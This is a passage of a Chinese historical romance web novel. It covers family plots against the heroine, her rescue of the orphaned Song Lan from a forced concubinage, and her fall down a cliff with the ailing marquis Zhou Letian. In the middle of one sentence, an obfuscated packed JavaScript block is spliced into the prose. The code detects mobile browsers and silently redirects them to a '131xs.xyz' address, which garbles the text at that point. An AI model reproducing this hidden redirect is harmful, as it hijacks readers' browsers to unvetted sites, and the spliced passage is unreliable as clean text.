崔妙人叹了口气,使了个眼色,宝珠和姜妈妈都出去了,她才摸着婉蓉的头发,轻声说:“当初关娘子的首饰,许多都是这样的精品,许多都是内造的,与大长公主用的是一模一样的东西。” 这话听得婉蓉一愣,抬起头来,不可置信地看着崔妙人。 “你可知道,关娘子的妝枢里,曾经有一顶珍珠大拉翅凤冠,用了一千两百多颗大小珍珠细细拼成,期间光是金丝就用了十几卷,主冠上的粉色大珍珠,还是大长公主当年在南方打仗的战利品?”崔妙人说着婉蓉想都想不到的东西,而后摸着她的头发,轻声说,“但是没关系,她享受了这些又如何,这人啊,命不长,便什么都没用的。” 婉蓉不明白,扁着嘴哭着说:“小娘,我也想要珍珠发冠,您帮我求求祖母,让祖母也给我赏一顶珍珠发冠吧,好不好,小娘?” “你呀,没过过苦日子,你摔着撒气的这钗子,都够小门小户花用三五年了!”崔妙人戳一下女儿的额头,轻声说,“你这一屉子首饰,都够小户之家过二三十年了,你还在这里哭鼻子!” “可是我与大姐姐都是父亲的女儿,我不和别人比,我凭什么就比不过大姐姐,也比不过婉淑,呜呜呜阿娘,婉淑都有金冠呢,我什么都没有!”说到最后,婉蓉哭出声来,竟无法止息。 崔妙人给她哭得头大,哄着说:“好好好,我这会子就去找你祖母,可好?” 好容易给婉蓉哄得开心发笑,崔妙人这才匆匆赶去了老夫人院子里,进门就跪下请罪,说:“老夫人恕罪,妙人今儿个来得太迟了,实在是婉蓉一大早在屋里哭闹,怎么哄都不管事,耽搁了许久。” 老夫人本来有些不高兴,闻言立刻放下筷子,好奇地说:“怎地了,一大早的,谁惹蓉丫头不高兴了?” 崔妙人起身凑过去伺候老夫人用朝食,边低声说:“大姑娘今日戴了侯爷送的莲花冠,淑姑娘戴了夫人送的红宝石金冠,蓉儿的性子您也知道,最是爱漂亮,回来在屋里哭,说是姐姐妹妹都有好首饰,就她没有,说是她不招人疼,哭闹到现在还没停呢。” 老夫人闻言,立刻便说:“去,把我屋里头那套喜鹊登梅的首饰送去给蓉儿。” “这可使不得!”崔妙人忙说,“那套首饰贵重,哪是她一个小孩受得住的,再说了,别叫人家知道了,又说老祖宗偏心。” “我自个儿的体己,爱给谁给谁!”老夫人闻言冷哼一声,说,“她倒是个慈爱的,给自己亲生的首饰,怎地没想着给蓉儿安排?至于大丫头……” 老夫人说到这里,眼中又是厌恶又是惶恐。 崔妙人使了个眼色,众人都退出去,崔妙人便压低声音说:“老爷昨儿晚上便叫人去查了,老祖宗你放心,这天底下哪有真的一模一样的人?再说了,如果真是邪祟,怎地还敢常去寺里,不怕神佛?” 老夫人闻言,这才松了口气,而后眼中露出狠厉之色,说:“妙人,不能留她了。她是真的也好,是妖孽也罢,我都不想再看到她了,你可知道?” 崔妙人闻言立刻点头,轻声说:“老祖宗放心,人手都安排出去了,她这**来棘手的很,院子里实在插不进手,在外头就不好防备了,保管叫她再不能碍您的眼。” 老夫人登时松了口气,冷声说:“晦气东西,怎么不和她那个晦气的**娘一起**,真正是祸害遗千年!” 关怀素却不知道家里发生的这些,她大早上打扮华贵,就直奔流云台寺。 上了马车丁妈妈就问:“姑娘一贯低调,怎地今日如此华丽装扮,您没看到,婉蓉姑娘那眼睛都快伸出手来抢您这发冠呢!” “何止,大娘子和婉淑面色也不好看。”柳叶收着东西,也在念叨,说,“姑娘,咱们今儿怎地这么扎眼,这不像您。” “左右他们现在都看不惯我,连污蔑我为妖孽的事情都出来了,我做什么都是错。”关怀素想的清楚,轻声说,“那我也不用收着了,既然已经正面对敌,当然从方方面面都能膈应他们才好。” 几人说着话,马车一路出城,便到了流云台寺。 到了地方,关怀素便马上给母亲添香油,又约好了布施的事情。 偏就那么巧,一走出大殿,到了拐角,就听到一个熟悉的声音在说:“你若是心里不爽利,便自己回去,难道我还缺了你不成?!” 下一刻便是个尖利的女子声音冷哼说:“回去便回去!到时候娘子问起来,我便说是姑娘你自个儿想撇了我,还不知道与谁厮混呢?!” 关怀素听到这里,立刻走出去,果然看到了宋兰。 宋兰被气得眼圈发红,丫鬟却十分嚣张跋扈。 关怀素走过去,站在宋兰身边,冷声问:“妹妹,这是谁家的丫鬟,竟如此大胆,当着面就在编排人?” 那丫鬟本是肆无忌惮,这会子见到关怀素,吓得一抖,咬牙说:“见过李大姑娘,大姑娘到底是外人,何必来我面前抖威风!” 李家大姑娘也是个好欺负的主,这也是宋兰这丫鬟一贯的认知,因此这会子反应过来,竟不十分惧怕。 关怀素冷笑一声,说:“你倒是好大的威风,怎么,在张家,你一个丫鬟竟比表姑娘的身份还高,表姑娘要听你发号施令,否则还要受你编排?改日我倒是要去登门问一问,张家是什么家教!” “大姑娘你不要血口喷人!”宋兰这丫鬟眼见着自己占不到理,立刻尖声说,“我可没这个意思!” “行了,兰妹妹,她要回去就让她滚回去!你和我一道,我看到时候谁还敢编排你!”关怀素也不和这个丫鬟多费口舌,只对宋兰说。 宋兰闻言,立刻挽住关怀素的手。 “姑娘!表姑娘,你若是跟着大姑娘回去,等回家之后让娘子与老爷如何想?岂不是给外人看笑话?”这丫鬟见她真要走,立刻着急,一把抓住宋兰的衣袖。 宋兰冷笑一声,说:“我不怕给外人看笑话,总比给你日日如此欺辱,连给爷爷点个长明灯都要阻挠威胁的好!” 如此说完,宋兰一甩袖子,挣开了丫鬟,与关怀素携手离开。 “今儿个叫姐姐见笑了。”二人才走出一段路,到了无人之处,宋兰眼泪瞬间下来。 “这是你那舅舅家丫鬟刻薄骄横,丢人的是她,**何事?”关怀素瞧那丫鬟,便知道宋兰在舅舅家中过的只怕十分不如意,又见一贯傲气的宋兰竟哭了出来,心中大为怜惜,拿出帕子给她擦眼泪,说,“我知道妹妹你心里苦,只是妹妹如今也马上要及笄了,不要着急哭,得先替自己好好打算才是啊!” 她这说的是真正贴心话,宋兰闻言心中愈发悲怆,不由哭得更是不能自已,拉着关怀素的手说:“没想到这辈子还能有姐姐与我说句贴心话,我便是日后**下地府,也记得姐姐这一遭恩情。” 关怀素听她说话之间,竟然隐存死志,登时心里一惊,反握住宋兰的手,连声说:“哪里就到了如此地步!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256383|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“事到如今,我也不瞒着姐姐。我那舅舅舅母一直准我去宴会,不过是一直指望我能攀附上个大人物。”宋兰哭着恨声说,“我这回出门,也是为了祖父才拼死才能得以成行,我听家里老妈妈悄悄跟我说,舅母觉得我攀高枝无望,最近在与一个六十几岁的富户家里媒人来往,说是、说是那人想找个知书达理的小妾伺候晚年……” “荒唐!”关怀素听到这里,气的火气直冲天灵盖,怒声说,“她敢!宋伯伯在天有灵,只怕要生撕了她!” “她有何不敢?我那舅舅不事生产,家里这些年全靠赁一半屋子与人过活,这几年表哥表姐都大了,眼见着都要嫁娶,他哪里拿的出钱填这一肚子饥荒?舍不得自个儿的女儿,刚好拿我抵数。”宋兰拿着帕子擦泪,苦涩地说,“那屋子当年还是我祖父瞧他一家住旧居不易,特地给置办的,如今看起来,竟是喂了中山狼了。” 关怀素听到这里,哪里不知道如今宋兰真的是走到绝路了。 她一把握住宋兰的手,说:“不成,那若是如此,我便不能送你回舅家了!” 宋兰含泪苦涩一笑,说:“我知姐姐对我的心意,可这回,姐姐却是帮不了我了。若是因为此事让李大人与我舅舅家交恶,日后姐姐又如何自处?” 说完,宋兰反过来安慰关怀素,眉眼之间隐隐有煞气。她咬牙说:“姐姐无需为我担心,事情若真到那一步,我到时候一条绳子吊死在大门口,叫他们家日后无法在京师做人。我也不是好欺负的!” “不过是些烂心肝的,哪里值得你的性命?”关怀素在说话之间,却已经下定决心,她紧紧握住宋兰的手,盯着她的眼睛说,“妹妹不许再说死啊活啊的,你只说一句,若我有办法,你信不信我?” 宋兰心中不敢相信,可是蝼蚁尚且偷生,她又不是没事一门心思想死,这会子见关怀素再三询问,姿态笃定,心中不敢相信能绝处逢生,咬牙说:“姐姐,我、我不是不信你,可是我不想你因为我的事情有什么麻烦……” “哪里有什么麻烦?”关怀素咬牙,轻声说,“宋智伯伯虽然去了,但是他的老友还在,如今既然事情已经到如此地步,便把脸皮丢下,去求一求人,你敢不敢?” “我、我何尝不敢?”宋兰流泪,说,“不瞒姐姐,祖父当年为了我苦心孤诣,留下钱财虽不多,但是给我留下了无数丹青墨宝……只可惜他老人家临终前一场大火,竟把多年积攒都烧的干干净净。我若是手上能留下一两幅祖父的画,又何至于寄人篱下如此些年?如今我手上什么凭证都没有,当年我年纪又太小,与各位爷爷伯伯都不熟悉,没有祖父留下的任何东西,我便是想登门求助,也无办法啊!” 宋兰说到这里,泪如雨下,轻声说:“祖父自小握着我的手教我丹青,偏我天分不够,学得时日也不够,不过是占得几分精巧,竟全无一丝神韵,连仿一副旧作托人救命也不成……” 说到这里,宋兰已经是泣不成声。 关怀素这才知道她为何多年隐忍,原来缘故是在这里。 这也是没办法的事情,当年与宋伯伯交好的老先生们,如今去世的差不多了,若是托他们后人帮忙,手中一点东西也无,只怕门都进不去。 “兰妹妹,你却是不知道,宋伯伯还有一个老友,就在京师。”关怀素拉着她的手,低声说,“白鹿书院的院长,陆大儒,当年与宋伯伯、我祖父乃是旧交,你身世在京师众人皆知,只要求上门去,叫陆大儒知道,此事定然有办法!” 这事儿宋兰确实不知道,因为她自小就被祖父带着隐居,那时候老友各自都天各一方,临终前只偶有书信,一场大火之下,什么痕迹都没留下。 但是宋兰却知道陆大儒的名声,登时眼前一亮,第一次觉得命运真的有可能有了转机。 “姐姐说的是真的?”她惊喜不已,拉着关怀素说,“如此可就真是救了我的命了!” 关怀素想到便做,立刻抓着宋兰的手说:“走,去我住的屋里,那里有笔墨,我们去写一封信,一会子我就叫人送过去。” 宋兰看到活着的希望,心中大喜,当然也不敢耽误,二人便携手一路往屋里去。 她们二人却不知道,这一番话,叫拐角处的一行人听得清清楚楚。 第七十二章 再听壁脚 “这宋姑娘好生可怜,当初宋智先生一幅画价值千金,如此雅士,唯一的孙女竟差点要被卖给老翁做妾,真是可恨。”富贵的夫人扶着儿子的手,对着身边儿子说,“那李大姑娘也是个有勇有谋、侠肝义胆的好姑娘,怎地到了你的口里,竟全然变了歹毒愚蠢之物?律儿,你可是有什么误会?” 这一行人,竟是宋律一家。 “是啊,李姐姐真是个好人,我若是能遇到这样的手帕交,真是上辈子修来的福分。”便是年纪还很小的宋家姑娘也轻声捏着帕子说,“可惜了,我年纪小,与李大姐姐也说话少,竟错过了这么个好姐姐。” 这话说得宋律脸色发黑,皱眉说:“谁知道她又是在做什么算计?” 又冷哼一声,说:“真真是奇怪,偏就这么巧,她每回当好人的时候,都给我遇到了,世上怎地就有这么巧的事情?” 宋夫人看看自家儿子,扶着他的手,摆摆手叫众人都隔远些,带着宋律走出好大一截,四下无人,宋夫人便压低声音说:“律儿,你老实告诉我,你为何对李大姑娘格外不同?” 宋律愣了一下,便听到母亲挑明问:“律儿,我知道你心高气傲,你也确实有心气高的资本。可李大姑娘是个好姑娘,她品貌上佳,处事有勇有谋,大长公主瞧着也十分喜欢这个后辈……她便是做你媳妇,也是绰绰有余的,你若是喜欢她,并不羞耻。” 宋律听到这里,终于明白阿娘到底是什么意思,他不可置信地说:“娘!你不会以为我是因为喜欢她,自个儿面子过不去,才说她坏话吧?我瞧着是这等幼稚之人吗?!” 宋夫人说:“我本来觉得你不是,可我看李大姑娘处处挑不出毛病,你却总是对她格外横眉冷目,偏不管什么场合,多少漂亮闺秀,你第一个总注意到她,这不是对她有兴趣是什么?律儿,你也是可以考虑娶妻的年纪,若是喜欢,便大大方方地告诉我,我瞧着李大姑娘极好,此时趁着大家都不知道,赶紧下手,也是个好事呢!” 宋夫人乐呵呵地说到这里,宋律登时满脸通红,他连声说:“阿娘,真不是这么回事!我不喜欢她!我、我不能告诉你为什么,但是此女心机深沉、寡廉鲜耻,我决计不可能考虑娶此人为妻!” “她到底与你之间有什么事情?你便直接告诉我!”宋夫人听他说的格外笃定,立刻便追问。 宋律急得满脸通红,张口结舌,却实在是说不出为什么。 他只能说:“娘,反正你千万别误会,此事我实在是不能说,但是你绝对不要往这边想,我对她绝无一点私情!” 他说的斩钉截铁,一丝回转也无,宋夫人看着实在是挑不出一丝心虚,心中本来跃跃欲试想去李家说亲的心思一下子便散了,便说:“你既如此说,那此事便算了。只是你也该到说亲的年纪了,你自己心里若是没有中意的,那便由我来给你挑了?” 宋律闻言,脑海中却不知为何,浮现出方才李婉玉那张坚毅又笃定的脸。 但是他立刻摇头,不愿意继续想下去。 他绝对不能屈服于这个轻浮女人的龃龉手段,他绝不是那种容易被女人哄得团团转的人! “娘,我还不着急。”宋律顿了顿,只开口,用说惯的话继续搪塞。 宋夫人气得不行,说着你都多大了等等话,一家人一路过去了。 而另一边,关怀素看着宋兰画出来的细腻工笔画,眼睛亮得吓人。 “妹妹你这一手工笔如此厉害,竟说自己没有天分!”关怀素看着那幅花鸟图,惊愕不以感慨,“这落笔绵连、细如毫发,便是我也没这么稳的手呢!” “我画画匠气太重,难成大家,也就能画几个绣花样子,挣些过日子的银钱罢了。”宋兰笑了笑,有些愧疚地说,“倒是连累姐姐,为了我,连关伯伯的人情也拿出来用了。” “兰妹妹,你呀,就是心思太重了。”关怀素笑着把信收起来,对她说,“你要相信宋伯伯交友的眼光,也要相信伯伯们的人品。知道咱们这些小辈有难,对他们来说,和自家子侄有难无异。咱们去哭求,伯伯们只有心疼的,不求才是不把他们当自个儿长辈呢!” 关怀素把信装好,对宋兰说:“晚上信就会送出,只是来去需要一些时日,妹妹住在舅舅家,可能放心?” 以宋兰舅舅舅妈那个德行,关怀素还真担心救兵没搬来,他们就把宋兰给捆了送走。 正说着呢,钟妈妈到了。 “听说李家怀疑你的身份?你师兄一接到消息就去那边布置了,只是你可还好?”钟妈妈进门就拉着关怀素上下看,十分忧心。 “我糊弄过去了,抓不到证据,他们也不能做什么。”关怀素拍拍钟妈妈的手,说,“如今倒不担心这个,妈妈,你可记得宋智老先生?他的孙女如今在我屋里呢。” 钟妈妈惊讶,关怀素便把宋兰的舅舅要把她许给六十多的老翁做妾的事情说了,钟妈妈听到这里,不敢置信说:“那家里两公婆是颠了吗?哪怕拿当初的人情去找陆先生、常先生、庞先生他们打秋风,也能弄到几百上千两,尽够他们一家子一世花用了!用得着用这等恶毒刻薄的方法害一个小姑娘?” 关怀素便拉着钟妈妈进门,看到屋里宋兰回头,杏眼桃腮,好一个美人儿,钟妈妈立刻上前拉着她的手,温声说:“兰姑娘吧?老身早年有幸伺候过宋老先生几回笔墨,他老人家最是个阔达不羁的,当初连我这下人都随手赠了一副小字,如今拿去卖,也能换个两三百两,够给姑娘做嫁妆了,姑娘要不就走吧,咱们何至于在那糟践窝子里受气?!” 宋兰一听,眼泪一下子就下来了,哽咽地说:“没想到还有祖父的故人,多谢妈妈的好意,我心领了。” 二人泪眼婆娑,关怀素笑着开口,说:“哪里需要妈妈卖字,就兰妹妹这画,便能替自己挣出家财来。” 关怀素点点宋兰画的图,笑着对宋兰说:“妹妹你且等着吧,这事儿了了,姐姐保准你从此海阔天空!” 宋兰不明所以,看到关怀素的笑容,却不知为何心中隐有挣脱樊笼、跃跃欲试的隐秘欢欣。 “我方才还说,宋兰妹妹那舅舅家是住不得了,怕不安全,妈妈,你可愿意帮我照顾兰妹妹一段时日?”关怀素说,“如此我才放心。” “姑娘安排的极是,既然那边已经起了歹意,不可不防。”钟妈妈立刻说,“只是我最近忙着布庄之事,可能无法好好照顾兰姑娘。” “若姐姐不担心,我愿意过去,说不得我还能帮妈妈一些忙。”宋兰叠掌行礼,郑重地说,“我绝不会把姐姐在外头的产业说出去,若违背此誓,宋兰将天打雷劈,永世不得超生!” 说完,宋兰并指发誓,神态极其肃穆。 “哪里就要你发誓了!”关怀素嗔怪地说,“我敢在你面前说这事儿,就是信得过妹妹!” 如此说了几句,事务繁忙,钟妈妈把布庄的盈利钱财给了关怀素,叮嘱她小心行事,便立刻带着宋兰要离开。 关怀素把她们送到流云台寺门口,殷切叮嘱叫钟妈妈注意休憩,又叫宋兰养精蓄锐,过几日只怕也是有硬仗要打。 宋兰点头,走到寺庙门口,突然想起来什么,立刻抓住关怀素的手,说:“姐姐,有个事情一直想跟你说,偏一直没找到机会,今儿个我一定要告诉你!” 说完不等关怀素回答,宋兰踮起脚,轻声在关怀素耳边说,“姐姐,你要小心,上回你在福宁郡主家中偶遇太子的事情……我亲眼见到,那小丫鬟是福宁县主那奶妈妈身边得用的丫鬟。” “你说什么?!”关怀素一听,悚然而惊。 宋兰点头,急促地低声说:“是真的!我当时也是因与人拌嘴,便托词出来醒酒走走,结果刚巧就远远看到了福宁郡主的奶嬷嬷吩咐小丫鬟,没一会儿我就见到姐姐你被那小丫鬟带走,我当时没想太多,直到后来所有事情发生之后,我才越来越察觉出不对来……” 关怀素早猜测姐姐遭遇只怕不对,毕竟姐姐一再出事可以说是巧合,可是上次在大长公主府里,她被一个仆妇带去了小侯爷院子里、之后还被反锁在院子里,这一切事情……怎么也不可能是巧合。 可是这一切太奇怪了,完全不合理。 “福宁郡主爱慕太子,这事儿天下皆知,她身边的奶嬷嬷怎么也不可能违逆郡主的意思,给太子身边塞人啊……”关怀素怎么想也想不明白这件事情。 “此事我也不知,但是我确实看得清清楚楚。还有……”宋兰左右看了一下,拉着关怀素,轻声说了句,“姐姐你一定要小心,那日我见到姐姐被领走的时候,有一个人就在门口亲眼看着姐姐被带出去,她十分熟知郡主府,明知那方向不对,却一直未曾出言阻止。” “是谁?”关怀素忙问。 “是赵三姑娘,赵白芷。”宋兰轻声开口,说出了一个关怀素完全没有预料到的名字。 第七十三章 遇险 宋兰离开之后,关怀素站在流云台寺门口,久久回不过神来。 关怀素并不怀疑宋兰说的话,因为关怀素知道宋兰性子孤高正直,绝不是无事生非之人。 可关怀素想不明白,为什么福宁郡主的奶嬷嬷会让人引着姐姐去太子面前。 让姐姐撞上太子,有什么好处吗?会对何人有好处呢? 关怀素想不出结果,但是唯一可以确定的是,此事绝对和女孩子之间斗气无关。 因为哪怕斗气想让姐姐出丑,这些姑娘们,谁又能预测到那日太子会突然造访福宁郡主府呢? 谁又能在那么短的时间内安排好一切,带着姐姐去偶遇呢? 此事看上去非常凑巧,但是要完成那么多凑巧,却非常艰难。 不但要在郡主府中有内应,甚至还要在太子身边有人,能探知太子行踪…… 探知太子行踪! 想到这里,关怀素紧张的心脏狂跳——无他,因此事太过可怕了! 能有资格、有能力刺探太子行踪的人,绝对不是普通人! 而这些人的目的绝对不可能只是为了让姐姐出丑! 关怀素一瞬间脑子里有无数想法,可是都没有头绪,这背后的阴影重重,竟是越想越让人心惊。 再加上在公主府里被和周乐天关在一起,差点被众人“捉奸”的事情……是什么人,一味要毁掉姐姐的名节? 什么大人物躲在幕后,只为了欺负这么一个小小孤女? 关怀素想不明白,也想不通。 至于赵白芷,关怀素心中确信她是个善良的姑娘,关怀素相信自己识人的能力,她不会看错。 所以赵白芷未曾提醒姐姐,许是有自己的顾虑吧,只是他日也许可以稍微试探一番…… 就在关怀素心中百味杂陈、无限思虑的时候,寒山古寺的台阶上,慢慢走上来一个戴着玄色风帽、穿着同色滚貂毛大氅的年轻男子。 冬日积雪未化,寒气逼人,男子因为太冷,睫毛上已经沾染了风霜,愈发显得羸弱。 是周乐天。 看到关怀素,周乐天那双寒潭一般的眼睛瞬间亮了,他脸上勾起笑意,快走过来问:“前几日见你忘了问,算算日子,后日便是你及笄的日子了,李家要在哪里办?怎地没收到一点消息?” 关怀素听他语调关切,哪怕心中再多烦扰,也觉得这一刻减轻了许多,便轻声说:“父亲说我与婉蓉只差一个月,年前事情繁忙,到时候便一起在上元节办。” 周乐天听到这里,登时皱起眉头,不满地说:“女儿家及笄乃是一辈子只有一次的大事,怎能如此敷衍?” 说到这里,一阵寒风吹过,他又动气,竟一时惊天动地地咳嗽起来,一时喘不过气来。 “哎呀,这算什么,我都不在乎的!你可别生气!”关怀素见他气得差点发心疾,赶紧接过来福递过来的药丸子给他塞到口里,然后搀扶着他进了山门。 匆匆到了避风处,关怀素把自个儿的手炉子也塞到他怀里,周乐天坐下来好一会子,才终于缓过了这口气。 开口就是生气地说:“再寒酸的人家,也没有把及笄礼合在一起办的道理!” 关怀素“噗嗤”一声笑出声来,说:“哪里没有?” 看到周乐天惊讶地瞪大眼睛,关怀素便发自内心地笑出声来,说:“侯爷认识的女孩都是金枝玉叶、大家闺秀,这样的人家,女儿家及笄自然是大事,定然要仔细安排贺喜。但是一般小户人家的女儿,也就吃一顿好饭、买件衣衫,便是极好的庆贺了,若是再差一些的农户人家,便是沾点荤腥、吃两块肉,也就极好了。再差些的佃户,便是什么都没有,还得辛苦劳作,哪里有人张罗?” “可李家不是农户之家!李家乃是官宦之家,又素来十分殷实,李家两个小郎君我虽不知晓,但是他们每年读书,二人也要几百两束脩。”周乐天愤怒地说,“何至于到了两个女儿及笄还要合起来办的地步?” 他真心实意地愤怒,关怀素心中一软,轻声说:“我真的不在意,你身子不好,别因为这个生气了。” 见周乐天还是愤愤不平,关怀素怕他气大伤身,便蹲下身仰脸看他:“侯爷,你现在吃药调理,这先头第一年,最忌讳的是情绪大起大落、伤身伤神,比起那及笄礼,我更在乎您的身体。您多注重身子,好吗?” 她抬着脸,神色郑重真诚,倒是叫震怒的周乐天一下子愣住了。 半晌,他脸上慢慢浮起大片虾粉色,他本就白皙的跟玉人一般,这一片红霞登时明显的惊人。 周乐天的眼睛都不敢看人,长长的睫毛颤抖着,侧头点了点,“嗯”了一声。 关怀素本来心怀坦荡,看他如此,一时竟不知为何也突然有些不知所以的羞窘,一时竟也说不出话来。 二人一时都无声,却听到外头有人喊:“哎呀,又落雪了啊!” 这凝滞的气氛这才突然地被打破,柳叶推开窗子,外头大片鹅毛一般的白雪从天空晃悠悠地落下,落在窗外的古树枯枝上。 “处世随缘,乐天知命,白雪壶中配坎离。”关怀素心有感触,突然轻声念了一句。 周乐天心中一动,轻声相合:“且藏锋挫锐,先人后己,和光混俗,岂辨高低。” 二人相视一笑,一时顿生知己之感。 “此情此景,真该围炉煮酒,才算的上是人生快事。”关怀素轻声笑着说。 “酒逢知己,确实是人生快事。”周乐天温声笑着说,“待他日我身子好些,定践此约。” “好!”关怀素一笑,二人在此一瞬,突然只觉得亲热不少。 二人此时都没想到,第二日,他们会齐齐跌下山谷,差点殒命。 此时他们稍微谈了一会子话之后,便各自去忙碌,等到忙完,第二日便匆忙赶着回京。 二人的马车一前一后,离得并不远,等到半路上,人烟逐渐稀少,柳叶掀帘子回头看了一下,还回头笑着调侃说:“姑娘,平安侯的马车一直跟着咱们呢。” 关怀素啐她:“回京就这条路,不跟着我们,难道飞回去?” “姑娘你装什么傻!咱们家这是什么马,平安侯那是什么马?真要放开跑,这会子只怕都到京师了,何必跟在咱们后面慢慢吃灰?”柳叶便挑明了,直接说,“姑娘,你真没看出来平安侯的心思……哎呀!” 柳叶说到一半,却突然感觉到马车一震,猛地狂奔起来,紧接着便听到丁妈妈尖叫:“哎呀!” 柳叶反应很快,立刻掀开帘子,刚好看到和丁妈妈拉不住缰绳,竟直接跌下马车! 柳叶吓得上前一把拉住缰绳,可是马已经近乎癫狂,完全无法制止,纵使柳叶有点功夫,可却完全控不住! 且在路过颠簸的石头时,马车一个颠簸,把驾车的柳叶直接颠的飞了出去! “柳叶!”关怀素也被颠簸的在车厢里翻来倒去,混乱之中只能大喊:“柳叶,你快跳车!” 柳叶巴着马车车辙,艰难地想在颠簸之中翻身上来,大吼:“姑娘,你小心些,坐稳!” “你先跳车!”关怀素急了,大吼,“危险!” 柳叶完全不听关怀素,自顾自还想继续翻身上去。 关怀素咬牙,终于几步路冲出去,在门口还磕到了一下,额角直接流下血来。 她也顾不得,也想上前控制住疯马。 在此时,到了山崖最险峻的一段路! 这段路极其狭窄,下面便是长长的断崖坡,时间已经来不及,疯马嘶叫一声,竟直冲下那断崖! 听到李家下人惊叫、立刻骑马追到最前面的周乐天见到的便是马车投崖的一幕! 他惊恐万分,脑子一片空白,顾不得其他,只提气纵身一跃,跳上已经失控的马车,一把抱住关怀素! 而后便是天旋地转,周乐天只听到怀中之人大吼:“柳叶,跳车!” 还有来福撕心裂肺的一声:“爷!” 周乐天什么都顾不得了,抱着关怀素,努力提气,试图在坠落之中踩住碎石。 断崖上长着许多小树,完全拦不住坠落的人,但是好在周乐天有轻身功夫,靠着几棵小树不断地减缓冲击稍缓了一下。 但是这断崖也实在凶险,而周乐天身体才稍微好些,下坠到一半,他猛地浑身一颤,胸中一口气瞬间卸掉,竟是一口血呕了出来,一路抱住关怀素勉力落在斜坡泥地里,而后一路滚了下去。 昏天暗地之中,周乐天和关怀素滚得七荤八素,直接失去了意识。 关怀素醒过来的时候,看天色已经过去了好一会儿。 她挣扎着起身,看到身边的周乐天奄奄一息的样子,连忙把他散开的外披拢起来,把他整个人裹起来,颤声含着泪花问:“侯爷,你、你还好吗?” 二人身上都是血迹,全是周乐天勉力动了真气、气血逆流造成的,他这会儿也醒了,只能有气无力地拍拍关怀素,表明自己尚好。 关怀素心中大为难过,鼻子一酸,说:“你这头一年吃药,最忌讳伤身伤神,你还吐血了,这段日子岂不是白吃药了……” 周乐天与她认识这么久,第一次见她泪盈于睫,心中大为难过,喘息了好几下,才勉强开口:“别、别哭。” 他一开口,才发现口中腥甜,竟是又呕出了一口血来。 关怀素一看,心中大急,眼泪一串串地落下来,连声说:“你快好好歇着,别说话了!” 二人正在说话,就听到远处传来长长的飞哨声音。 周乐天神色一凛,立刻对关怀素说:“别、别哭……有、有人、来……” “有人来救我们?”关怀素怕他难受,立刻开口,说,“口哨是你们联络暗号?” 周乐天疲惫地点头,而后歇了一下,并指在口前,长长地回了几道飞哨之声。 山林寂静,可是他们隔得太远了,周乐天气息虚弱,也不知道对方能否听到。 关怀素立刻并指,按照周乐天的方法,长长地回了飞哨之声。 她被周乐天保护的很好,此时回应气息绵长,很快听到了回应的声音。 关怀素心中微定,瞧着地上全是泥泞,便扶着周乐天走到一处干燥的树桩子上坐下。 山林之中路途崎岖,远远地能听到来福的哨声,周乐天偶尔能回一两下,再由关怀素重复。 深林里极难辨认方位,二人只能耐心地继续等着。 只是林深树茂,没有太阳,又是冬日,眼见着周乐天的脸色越来越发白,关怀素心中极其紧张。 她突然开口,说:“侯爷,您伸手。” 周乐天不明所以地伸手,就见到关怀素咬牙,轻声说:“冒犯了。” 说完,手脚冰凉的周乐天便觉得冰冷的手掌突然轻微地刺痛,而后才后知后觉感觉到一股暖意。 他瞪大眼睛。 关怀素轻声说:“唐突侯爷了,我也没想到会遇到这种事,身上带火石,你身子不好,若是再受风寒,只怕要撑不住……” 周乐天只觉得手掌传来的暖意像是两片小小的火焰,让他整个人都升温起来,他不好意思看关怀素,便垂下睫毛,固执地轻声重复了两次:“是我、是我唐突姑娘了。” 关怀素看他难受,为了分散他的注意力,便笑着与他闲谈起来,说:“侯爷倒是个大方的,倒不像是我有个友人,我有次与他泛舟湖上,春衫轻薄,他被打湿衣衫,叫的跟杀猪一样,只叫我们都不许看,直到下人送来了袍子才裹着跑回家去了。” 说到这里,关怀素想到昔日与朋友泛舟趣事,不由得脸上也带起了笑容。 周乐天心中冒出的泡泡突然就消失了一半,不知为何觉得嘴巴里都有股酸涩的味道,但是也不想扫她的兴致,便勉力笑了笑,说:“可惜了,我常年,咳咳……在西北,竟不知这游湖泛舟之乐。” 关怀素笑起来,说:“泛舟游湖之乐,不过消遣光阴罢了,如何抵得上侯爷您策马领兵、直击狄夷王帐的绝世英姿?” 周乐天被她夸得脸上发热,轻声呐呐地说:“不过、不过……咳咳……是会打仗的武夫罢了,只怕比不上、比不上……文人雅士,泛舟吟诗的风姿。” 关怀素心中不明他怎么老拿自己和文士比,但是也不愿他低落,便笑着说:“可见侯爷家里是没有镜子。” 周乐天茫然地抬头,便见关怀素笑意盈盈地说:“您如此风姿,习武便是扬鞭策马、英姿飒爽,若是愿意泛舟湖上,只怕亦是旷世名画。” 周乐天愣了一下,下一刻惨白的脸都压不住,脸起了一片薄红。 然后他猛地剧烈咳嗽起来。 “哎呀,可是发热了?”关怀素心中一紧,立刻便凑上前去探,她没发现,她一凑上去,周乐天就更红了,整个人已经快成煮熟的虾子一般。 就在周乐天要冒烟之前,好在突然响起哨音,竟然已经近在身边一般。 二人精神一振,关怀素立刻并指打哨回应,顷刻之间,不远处传来来福惊喜的声音:“在那边,快!” 而后便是众人的脚步声,还有柳叶大喊“姑娘,你也在吗?”的声音。 关怀素立刻站起身回应,那边速度越来越快,很快一大群人出现在树林之中,两方人马会面,顿时都松一口气,也不多说,立刻各自搀扶着人一路往山林外走。 路上颠簸,上了山崖上已经是傍晚,丁妈妈仓皇等在原地,一看到关怀素,眼泪立刻下来了。 关怀素的马车已经连着马一起摔下山崖,周乐天拉着她,一起上了他的马车。 关怀素上了马车,只觉得一阵暖意。 周乐天的马车里点着炭炉子,窗户封的死死的,车厢里一股子龙涎香的味道。 关怀素坐下,才猛地觉得全身都碾碎一般的疼。 “一会儿回了家,我叫郎中去你家看看。”马车温暖,周乐天抚着心口,总算能压住心口翻涌的腥甜和咳嗽之意,轻声说,“别落下什么暗伤。” 关怀素关切地看着他,轻声说:“侯爷也是,可千万记得多将养身体,我这边无需挂心,我会注意的。” 